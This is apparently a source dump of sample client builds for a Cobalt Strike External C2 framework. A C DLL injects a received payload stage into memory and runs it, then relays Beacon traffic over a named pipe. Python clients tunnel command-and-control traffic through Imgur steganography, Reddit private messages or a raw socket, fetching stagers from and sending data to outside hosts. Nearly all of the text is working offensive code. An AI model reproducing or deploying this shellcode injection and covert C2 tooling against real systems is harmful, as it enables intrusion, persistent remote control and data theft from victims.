| 104 | lib.read_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 105 | lib.read_frame.restype = c_int 106 | def ReadPipe(hPipe): 107 | mem = create_string_buffer(maxlen) 108 | l = lib.read_frame(hPipe,mem,maxlen) 109 | if l < 0: return(-1) 110 | chunk=mem.raw[:l] 111 | return(chunk) 112 | 113 | lib.write_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 114 | lib.write_frame.restype = c_int 115 | def WritePipe(hPipe,chunk): 116 | sys.stdout.write('wp: %s\n'%len(chunk)) 117 | sys.stdout.flush() 118 | print chunk 119 | ret = lib.write_frame(hPipe,c_char_p(chunk),c_int(len(chunk))) 120 | sleep(3) 121 | print "ret=%s"%ret 122 | return(ret) 123 | 124 | def go(): 125 | # LOGIC TO RETRIEVE DATA VIA THE SOCKET (w/ 'recvData') GOES HERE 126 | print "Waiting for stager..." # DEBUG 127 | p = recvData() 128 | print "Got a stager! loading..." 129 | sleep(2) 130 | # print "Decoded stager = " + str(p) # DEBUG 131 | # Here they're writing the shellcode to the file, instead, we'll just send that to the handle... 132 | handle_beacon = start_beacon(p) 133 | 134 | # Grabbing and relaying the metadata from the SMB pipe is done during interact() 135 | print "Loaded, and got handle to beacon. Getting METADATA." 136 | 137 | return handle_beacon 138 | 139 | def interact(handle_beacon): 140 | while(True): 141 | sleep(1.5) 142 | 143 | # LOGIC TO CHECK FOR A CHUNK FROM THE BEACON 144 | chunk = ReadPipe(handle_beacon) 145 | if chunk < 0: 146 | print 'readpipe %d' % (len(chunk)) 147 | break 148 | else: 149 | print "Received %d bytes from pipe" % (len(chunk)) 150 | print "relaying chunk to server" 151 | sendData(chunk) 152 | 153 | # LOGIC TO CHECK FOR A NEW TASK 154 | print "Checking for new tasks from transport" 155 | 156 | newTask = recvData() 157 | 158 | print "Got new task: %s" % (newTask) 159 | print "Writing %s bytes to pipe" % (len(newTask)) 160 | r = WritePipe(handle_beacon, newTask) 161 | print "Write %s bytes to pipe" % (r) 162 | 163 | # Prepare the transport module 164 | prepTransport() 165 | 166 | #Get and inject the stager 167 | handle_beacon = go() 168 | 169 | # run the main loop 170 | try: 171 | interact(handle_beacon) 172 | except KeyboardInterrupt: 173 | print "Caught escape signal" 174 | sys.exit(0) 175 | -------------------------------------------------------------------------------- /sample_builds/client/imgur/c2file_dll.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server based on code from @armitagehacker */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } -------------------------------------------------------------------------------- /sample_builds/client/imgur/c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif -------------------------------------------------------------------------------- /sample_builds/client/imgur/compile_dll.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll -------------------------------------------------------------------------------- /sample_builds/client/imgur/imgur_client.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | import sys 4 | import os 5 | import struct 6 | 7 | # Encoder imports: 8 | 9 | # Transport imports: 10 | from imgurpython import ImgurClient, helpers 11 | import PIL 12 | from PIL import Image 13 | from cStringIO import StringIO 14 | import time 15 | from sys import exit 16 | import urlparse 17 | import base64 18 | import requests 19 | import zlib 20 | 21 | # 22 | TOKEN_LEN = 81 # Don't change this 23 | USERNAME = '' 24 | client_id = '' 25 | client_secret = '' 26 | SEND_ALBUM_NAME = "RESP4U" 27 | RECV_ALBUM_NAME = "TSK4U" 28 | access_token = '' 29 | refresh_token = '' 30 | VERSION = 0 31 | # 32 | 33 | # THIS SECTION (encoder and transport functions) WILL BE DYNAMICALLY POPULATED BY THE BUILDER FRAMEWORK 34 | # 35 | def encode(data, photo_id=1, list_size=1): 36 | img = Image.new('RGB', (4320,4320), color = 'red') 37 | pix = img.load() 38 | x = 1 39 | for byte in data: 40 | pix[x,x] = (pix[x,x][0], pix[x,x][1], ord(byte)) 41 | x = x + 1 42 | pass 43 | pix[0,0] = (VERSION, photo_id, list_size) 44 | img_byte_array = StringIO() 45 | img.save(img_byte_array, format='PNG') 46 | return img_byte_array 47 | 48 | def decode(image): 49 | stego_pix = image.load() 50 | byte_list = [] 51 | 52 | for y in range(1, image.size[1]): 53 | # Add our byte we wnat 54 | byte_list.append(chr(stego_pix[y,y][2])) 55 | pass 56 | 57 | return ''.join(byte_list) 58 | 59 | # 60 | 61 | # 62 | def resetAccount(): 63 | account_albums = client.get_account_albums(USERNAME) 64 | for album in account_albums: 65 | images = client.get_album_images(album.id) 66 | for image in images: 67 | client.delete_image(image.id) 68 | client.album_delete(album.id) 69 | 70 | def prepTransport(): 71 | global client 72 | client = ImgurClient(client_id, client_secret) 73 | 74 | getTokens() 75 | return 0 76 | 77 | def getTokens(): 78 | while True: 79 | try: 80 | account_albums = client.get_account_albums(USERNAME) 81 | account_albums[0] 82 | if account_albums[0].title == "TK4U": 83 | break 84 | else: 85 | print "No new albums yet, sleeping for 2m" 86 | except IndexError: 87 | print "No new albums yet, sleeping for 2m" 88 | time.sleep(120) 89 | 90 | x = 0 91 | for x in range(0, len(account_albums)): 92 | token_image = client.get_album_images(account_albums[x].id)[0] 93 | token_img = Image.open(StringIO(requests.get(token_image.link).content)) 94 | stego_pix = token_img.load() 95 | if stego_pix[0,0] == (1,1,1): 96 | print "Token images found!" 97 | break 98 | else: 99 | x = x + 1 100 | pass 101 | 102 | token_bytes = [] 103 | for x in range(1, token_img.size[1]): 104 | token_bytes.append(chr(stego_pix[x,x][2])) 105 | tokens = ''.join(token_bytes[0:TOKEN_LEN]).split(',') 106 | 107 | global access_token 108 | access_token = tokens[0] 109 | global refresh_token 110 | refresh_token = tokens[1] 111 | 112 | # Cleanup time! 113 | client.set_user_auth(access_token, refresh_token) 114 | resetAccount() 115 | 116 | print "Sleeping for 600s to allow server to upload stager" 117 | time.sleep(600) 118 | 119 | return 0 120 | 121 | 122 | def checkStatus(silent=True): 123 | # Checks the account status 124 | # if we discover we don't have enough credits to continue, we will sleep until our credits are reset 125 | credits = client.make_request('GET', 'credits') 126 | 127 | # Supports pseudo debug output 128 | if silent == False: 129 | print "%d credits remaining of %d for this user's ip" %(credits['UserRemaining'], credits['UserLimit']) 130 | print "%d credits remaining of %d for this client" %(credits['ClientRemaining'], credits['ClientLimit']) 131 | print "User credits reset @ " + str(time.ctime(credits['UserReset'])) 132 | 133 | # Wait for our credits to reset if we don't have enough 134 | if int(credits['UserRemaining']) < 10: 135 | print "WARNING: Not enough credits to continue making requests, waiting for credits to replenish" 136 | while time.time() <= credits['UserReset']: 137 | print "Current time: " + str(time.ctime(time.time())) 138 | print "Reset @ %s, sleeping for 5m" % (time.ctime(credits['UserReset'])) 139 | time.sleep(300) 140 | print "Credits reset!" 141 | checkStatus() 142 | return credits 143 | 144 | def sendData(data): 145 | # Transport will receiving a list of images 146 | # Application will have already encoded the data 147 | # Logic will probably be different for client, 148 | # indicating that we're going to run into issues 149 | # Here, we're expecting to recieve a list of PIL images from the encoder 150 | fields = {} 151 | fields = { 'title': SEND_ALBUM_NAME, 'privacy': "hidden"} 152 | album_object = client.create_album(fields) 153 | fields.update({"id": album_object['id']}) 154 | 155 | data = base64.b64encode(zlib.compress(data, 9)) 156 | data_list = [data[i:i+4319] for i in range(0, len(data), 4319)] 157 | 158 | photo_id = 1 159 | image_upload_fields = {'type': 'base64', 'album': album_object['id']} 160 | 161 | credits = checkStatus(silent=False) 162 | # TODO: Add logic to safely check if we can upload photos here 163 | # if credits['UserRemaining'] < len(data_list) or credits['ClientRemaining'] < len(data_list): 164 | 165 | print "Uploading %d images" % (len(data_list)) 166 | for chunk in data_list: 167 | photo = encode(chunk, photo_id=photo_id) 168 | image_upload_fields.update({'image': base64.b64encode(photo.getvalue())}) 169 | while True: 170 | try: 171 | request = client.make_request('POST', 'upload', image_upload_fields) 172 | except helpers.error.ImgurClientRateLimitError: 173 | print "Hit the rate limit, sleeping for 10m" 174 | time.sleep(600) 175 | continue 176 | break 177 | photo_id = photo_id + 1 178 | del photo 179 | credits = checkStatus(silent=False) 180 | # If photo_id % 50, we'll sleep for 3 minutes to not trip our rate limit 181 | # There is an upload limit of 50 images per IP address per hour. 182 | if photo_id % 40 == 0: 183 | print "Upload limit for this hour exceeded, sleeping until next hour" 184 | time.sleep(300) 185 | 186 | 187 | def recvData(): 188 | # Check for new albums 189 | while True: 190 | try: 191 | account_albums = client.get_account_albums(USERNAME) 192 | account_albums[0] 193 | if account_albums[0].title == RECV_ALBUM_NAME: 194 | break 195 | else: 196 | print "No new albums yet, sleeping for 2m" 197 | time.sleep(120) 198 | except IndexError: 199 | print "No new albums yet, sleeping for 2m" 200 | time.sleep(120) 201 | 202 | x = 0 203 | reconstructed_data = "" 204 | data_list = [] 205 | 206 | # Iterate through each album 207 | for x in range(0, len(account_albums)): 208 | album_images = client.get_album_images(account_albums[x].id) 209 | 210 | # Iterate through each image in the album 211 | for image in album_images: 212 | curr_image_data = Image.open(StringIO(requests.get(image.link).content)) 213 | data_list.append(decode(curr_image_data)) 214 | pass 215 | 216 | # Reconstruct the data 217 | reconstructed_data = ''.join(data_list).strip('\0') 218 | 219 | # resetAccount() 220 | 221 | # Now lets unbase64 and decompress this data 222 | raw_data = zlib.decompress(base64.b64decode(reconstructed_data)) 223 | return raw_data 224 | 225 | # 226 | 227 | maxlen = 1024*1024 228 | 229 | lib = CDLL('c2file.dll') 230 | 231 | lib.start_beacon.argtypes = [c_char_p,c_int] 232 | lib.start_beacon.restype = POINTER(HANDLE) 233 | def start_beacon(payload): 234 | return(lib.start_beacon(payload,len(payload))) 235 | 236 | lib.read_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 237 | lib.read_frame.restype = c_int 238 | def ReadPipe(hPipe): 239 | mem = create_string_buffer(maxlen) 240 | l = lib.read_frame(hPipe,mem,maxlen) 241 | if l < 0: return(-1) 242 | chunk=mem.raw[:l] 243 | return(chunk) 244 | 245 | lib.write_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 246 | lib.write_frame.restype = c_int 247 | def WritePipe(hPipe,chunk): 248 | sys.stdout.write('wp: %s\n'%len(chunk)) 249 | sys.stdout.flush() 250 | print chunk 251 | ret = lib.write_frame(hPipe,c_char_p(chunk),c_int(len(chunk))) 252 | time.sleep(3) 253 | print "ret=%s"%ret 254 | return(ret) 255 | 256 | def go(): 257 | # LOGIC TO RETRIEVE DATA VIA THE SOCKET (w/ 'recvData') GOES HERE 258 | print "Waiting for stager..." # DEBUG 259 | p = recvData() 260 | print "Got a stager! loading..." 261 | time.sleep(2) 262 | # print "Decoded stager = " + str(p) # DEBUG 263 | # Here they're writing the shellcode to the file, instead, we'll just send that to the handle... 264 | handle_beacon = start_beacon(p) 265 | 266 | # Grabbing and relaying the metadata from the SMB pipe is done during interact() 267 | print "Loaded, and got handle to beacon. Getting METADATA." 268 | 269 | return handle_beacon 270 | 271 | def interact(handle_beacon): 272 | while(True): 273 | time.sleep(1.5) 274 | 275 | # LOGIC TO CHECK FOR A CHUNK FROM THE BEACON 276 | chunk = ReadPipe(handle_beacon) 277 | if chunk < 0: 278 | print 'readpipe %d' % (len(chunk)) 279 | break 280 | else: 281 | print "Received %d bytes from pipe" % (len(chunk)) 282 | print "relaying chunk to server" 283 | sendData(chunk) 284 | 285 | # LOGIC TO CHECK FOR A NEW TASK 286 | print "Checking for new tasks from transport" 287 | 288 | newTask = recvData() 289 | 290 | print "Got new task: %s" % (newTask) 291 | print "Writing %s bytes to pipe" % (len(newTask)) 292 | r = WritePipe(handle_beacon, newTask) 293 | print "Write %s bytes to pipe" % (r) 294 | 295 | # Prepare the transport module 296 | prepTransport() 297 | 298 | #Get and inject the stager 299 | handle_beacon = go() 300 | 301 | # run the main loop 302 | try: 303 | interact(handle_beacon) 304 | except KeyboardInterrupt: 305 | print "Caught escape signal" 306 | sys.exit(0) 307 | -------------------------------------------------------------------------------- /sample_builds/client/raw_socket/c2file_dll.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server based on code from @armitagehacker */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } -------------------------------------------------------------------------------- /sample_builds/client/raw_socket/c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif -------------------------------------------------------------------------------- /sample_builds/client/raw_socket/compile_dll.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll -------------------------------------------------------------------------------- /sample_builds/client/raw_socket/raw_socket_client.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | from time import sleep 4 | import sys 5 | import os 6 | import struct 7 | 8 | # Encoder imports: 9 | import base64 10 | 11 | # Transport imports: 12 | import socket 13 | 14 | 15 | # START GHETTO CONFIG, should be read in when compiled... 16 | 17 | HOST = "c2.example.com" 18 | PORT = "8081" 19 | 20 | # Timeout in seconds to wait for a new task 21 | # SOCK_TIME_OUT = 5.0 22 | SOCK_TIME_OUT = None 23 | 24 | 25 | # THIS SECTION (encoder and transport functions) WILL BE DYNAMICALLY POPULATED BY THE BUILDER FRAMEWORK 26 | # 27 | def encode(data): 28 | return base64.b64encode(data) 29 | 30 | def decode(data): 31 | return base64.b64decode(data) 32 | # 33 | 34 | # 35 | def prepTransport(): 36 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 37 | print "Connecting to %s:%s" %(str(HOST),str(PORT)) 38 | sock.connect((str(HOST),int(PORT))) 39 | print "Connected!" 40 | return sock 41 | 42 | def sendData(sock, data): 43 | encoded_data = encode(data) 44 | slen = struct.pack(' 65 | 66 | 67 | maxlen = 1024*1024 68 | 69 | lib = CDLL('c2file.dll') 70 | 71 | lib.start_beacon.argtypes = [c_char_p,c_int] 72 | lib.start_beacon.restype = POINTER(HANDLE) 73 | def start_beacon(payload): 74 | return(lib.start_beacon(payload,len(payload))) 75 | 76 | lib.read_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 77 | lib.read_frame.restype = c_int 78 | def ReadPipe(hPipe): 79 | mem = create_string_buffer(maxlen) 80 | l = lib.read_frame(hPipe,mem,maxlen) 81 | if l < 0: return(-1) 82 | chunk=mem.raw[:l] 83 | return(chunk) 84 | 85 | lib.write_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 86 | lib.write_frame.restype = c_int 87 | def WritePipe(hPipe,chunk): 88 | sys.stdout.write('wp: %s\n'%len(chunk)) 89 | sys.stdout.flush() 90 | print chunk 91 | ret = lib.write_frame(hPipe,c_char_p(chunk),c_int(len(chunk))) 92 | sleep(3) 93 | print "ret=%s"%ret 94 | return(ret) 95 | 96 | def go(sock): 97 | # LOGIC TO RETRIEVE DATA VIA THE SOCKET (w/ 'recvData') GOES HERE 98 | print "Waiting for stager..." # DEBUG 99 | p = recvData(sock) 100 | print "Got a stager! loading..." 101 | sleep(2) 102 | # print "Decoded stager = " + str(p) # DEBUG 103 | # Here they're writing the shellcode to the file, instead, we'll just send that to the handle... 104 | handle_beacon = start_beacon(p) 105 | 106 | # Grabbing and relaying the metadata from the SMB pipe is done during interact() 107 | print "Loaded, and got handle to beacon. Getting METADATA." 108 | 109 | return handle_beacon 110 | 111 | def interact(sock, handle_beacon): 112 | while(True): 113 | sleep(1.5) 114 | 115 | # LOGIC TO CHECK FOR A CHUNK FROM THE BEACON 116 | chunk = ReadPipe(handle_beacon) 117 | if chunk < 0: 118 | print 'readpipe %d' % (len(chunk)) 119 | break 120 | else: 121 | print "Received %d bytes from pipe" % (len(chunk)) 122 | print "relaying chunk to server" 123 | sendData(sock, chunk) 124 | 125 | # LOGIC TO CHECK FOR A NEW TASK 126 | print "Checking for new tasks from transport" 127 | 128 | newTask = recvData(sock) 129 | 130 | print "Got new task: %s" % (newTask) 131 | print "Writing %s bytes to pipe" % (len(newTask)) 132 | r = WritePipe(handle_beacon, newTask) 133 | print "Write %s bytes to pipe" % (r) 134 | 135 | 136 | # Prepare the transport module 137 | sock = prepTransport() 138 | 139 | # Get and inject the stager 140 | handle_beacon = go(sock) 141 | 142 | # Run the main loop 143 | try: 144 | interact(sock, handle_beacon) 145 | except KeyboardInterrupt: 146 | print "Caught escape signal, closing socket" 147 | sock.close() 148 | sys.exit(0) 149 | -------------------------------------------------------------------------------- /sample_builds/client/reddit/c2file_dll.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server based on code from @armitagehacker */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } -------------------------------------------------------------------------------- /sample_builds/client/reddit/c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif -------------------------------------------------------------------------------- /sample_builds/client/reddit/compile_dll.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll -------------------------------------------------------------------------------- /sample_builds/client/reddit/reddit_client.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | import sys 4 | import os 5 | import struct 6 | 7 | # Encoder imports: 8 | import base64 9 | import urllib 10 | 11 | # Transport imports: 12 | import praw 13 | from time import sleep 14 | 15 | # START GHETTO CONFIG, should be read in when compiled... 16 | CLIENT_ID = "" 17 | CLIENT_SECRET = "" 18 | PASSWORD = "" 19 | USER_AGENT = "I AM TOTALLY MALWARE by /u/" 20 | USERNAME = "" 21 | SEND_NAME = "Resp4You" # Subject of PM 22 | RECV_NAME = "New4You" 23 | # END GHETTO CONFIG 24 | 25 | # THIS SECTION (encoder and transport functions) WILL BE DYNAMICALLY POPULATED BY THE BUILDER FRAMEWORK 26 | # 27 | def encode(data): 28 | data = base64.b64encode(data) 29 | return urllib.quote_plus(data)[::-1] 30 | 31 | def decode(data): 32 | data = urllib.unquote(data[::-1]) 33 | return base64.b64decode(data) 34 | # 35 | 36 | # 37 | 38 | 39 | def prepTransport(): 40 | # Auth as a script app 41 | global reddit # DEBUG: Not sure if needed 42 | global TASK_ID 43 | TASK_ID = "0" 44 | reddit = praw.Reddit(client_id=CLIENT_ID, 45 | client_secret=CLIENT_SECRET, 46 | password=PASSWORD, 47 | user_agent=USER_AGENT, 48 | username=USERNAME) 49 | # Debug, verify that we are connected 50 | print "We have successfully authenticated: %s" %(reddit) 51 | return reddit 52 | 53 | def sendData(data): 54 | data = encode(data) 55 | 56 | if len(data) > 10000: 57 | data_list = [data[i:i+10000] for i in range(0, len(data), 10000)] 58 | sent_counter = 1 59 | for message in data_list: 60 | cur_subject = SEND_NAME + (" | " + str(sent_counter) + "/" + str(len(data_list))) 61 | reddit.redditor(USERNAME).message(cur_subject, message) 62 | sent_counter += 1 63 | return 0 64 | else: 65 | reddit.redditor(USERNAME).message(SEND_NAME, data) 66 | return 0 67 | 68 | def recvData(): 69 | counter_pattern = re.compile("^.* \| [0-9]+/[0-9]+$") 70 | total_count = re.compile("^.*/[0-9]+$") 71 | current_target = 1 72 | task = "" 73 | # First, we'll see if there's a new message, if it has a counter, 74 | # we'll take it into account, and loop through the messages to find 75 | # our first one. 76 | while True: 77 | for message in reddit.inbox.messages(limit=1): 78 | if message.id <= TASK_ID: 79 | sleep(5) 80 | pass 81 | 82 | if counter_pattern.match(message.subject) and (RECV_NAME in message.subject): 83 | # This is incredibly dirty, I apologize in advance. Basically, 84 | # we get the count, find the first message, 85 | # set it to the TASK_ID, and start to compile the full task 86 | counter_target = message.subject.split("/")[1] 87 | 88 | if message.subject == (RECV_NAME + " | 1/" + str(counter_target)): 89 | global TASK_ID 90 | TASK_ID = message.id 91 | task += message.body 92 | current_target += 1 93 | sleep(1) 94 | pass 95 | 96 | elif int(current_target) > int(counter_target): 97 | global TASK_ID 98 | TASK_ID = message.id 99 | return decode(task) 100 | 101 | elif message.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 102 | # We're getting these out of order, time for us to find the next message, and loop through it 103 | while True: 104 | msgiter = iter(reddit.inbox.messages()) 105 | for submessage in msgiter: 106 | if int(current_target) > int(counter_target): 107 | global TASK_ID 108 | TASK_ID = message.id 109 | return decode(task) 110 | if submessage.subject == (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 111 | current_target += 1 112 | task += submessage.body 113 | # sleep(0.1) 114 | break 115 | if submessage.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 116 | # sleep(0.1) 117 | continue 118 | else: 119 | pass 120 | 121 | # Got our new task 122 | elif message.subject == RECV_NAME: 123 | task = message.body 124 | global TASK_ID 125 | TASK_ID = message.id 126 | return decode(task) 127 | 128 | else: 129 | # message.id isn't right, but we don't have a task yet 130 | sleep(5) 131 | pass 132 | 133 | 134 | # 135 | 136 | maxlen = 1024*1024 137 | 138 | lib = CDLL('c2file.dll') 139 | 140 | lib.start_beacon.argtypes = [c_char_p,c_int] 141 | lib.start_beacon.restype = POINTER(HANDLE) 142 | def start_beacon(payload): 143 | return(lib.start_beacon(payload,len(payload))) 144 | 145 | lib.read_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 146 | lib.read_frame.restype = c_int 147 | def ReadPipe(hPipe): 148 | mem = create_string_buffer(maxlen) 149 | l = lib.read_frame(hPipe,mem,maxlen) 150 | if l < 0: return(-1) 151 | chunk=mem.raw[:l] 152 | return(chunk) 153 | 154 | lib.write_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 155 | lib.write_frame.restype = c_int 156 | def WritePipe(hPipe,chunk): 157 | sys.stdout.write('wp: %s\n'%len(chunk)) 158 | sys.stdout.flush() 159 | print chunk 160 | ret = lib.write_frame(hPipe,c_char_p(chunk),c_int(len(chunk))) 161 | sleep(3) 162 | print "ret=%s"%ret 163 | return(ret) 164 | 165 | def go(): 166 | # LOGIC TO RETRIEVE DATA VIA THE SOCKET (w/ 'recvData') GOES HERE 167 | print "Waiting for stager..." # DEBUG 168 | p = recvData() 169 | print "Got a stager! loading..." 170 | sleep(2) 171 | # print "Decoded stager = " + str(p) # DEBUG 172 | # Here they're writing the shellcode to the file, instead, we'll just send that to the handle... 173 | handle_beacon = start_beacon(p) 174 | 175 | # Grabbing and relaying the metadata from the SMB pipe is done during interact() 176 | print "Loaded, and got handle to beacon. Getting METADATA." 177 | 178 | return handle_beacon 179 | 180 | def interact(handle_beacon): 181 | while(True): 182 | sleep(1.5) 183 | 184 | # LOGIC TO CHECK FOR A CHUNK FROM THE BEACON 185 | chunk = ReadPipe(handle_beacon) 186 | if chunk < 0: 187 | print 'readpipe %d' % (len(chunk)) 188 | break 189 | else: 190 | print "Received %d bytes from pipe" % (len(chunk)) 191 | print "relaying chunk to server" 192 | sendData(chunk) 193 | 194 | # LOGIC TO CHECK FOR A NEW TASK 195 | print "Checking for new tasks from transport" 196 | 197 | newTask = recvData() 198 | 199 | print "Got new task: %s" % (newTask) 200 | print "Writing %s bytes to pipe" % (len(newTask)) 201 | r = WritePipe(handle_beacon, newTask) 202 | print "Write %s bytes to pipe" % (r) 203 | 204 | # Prepare the transport module 205 | prepTransport() 206 | 207 | #Get and inject the stager 208 | handle_beacon = go() 209 | 210 | # run the main loop 211 | try: 212 | interact(handle_beacon) 213 | except KeyboardInterrupt: 214 | print "Caught escape signal" 215 | sys.exit(0) 216 | -------------------------------------------------------------------------------- /sample_builds/server/config.py: -------------------------------------------------------------------------------- 1 | # TODO: Have a proper function that reads in a config 2 | 3 | # DEBUG: 4 | 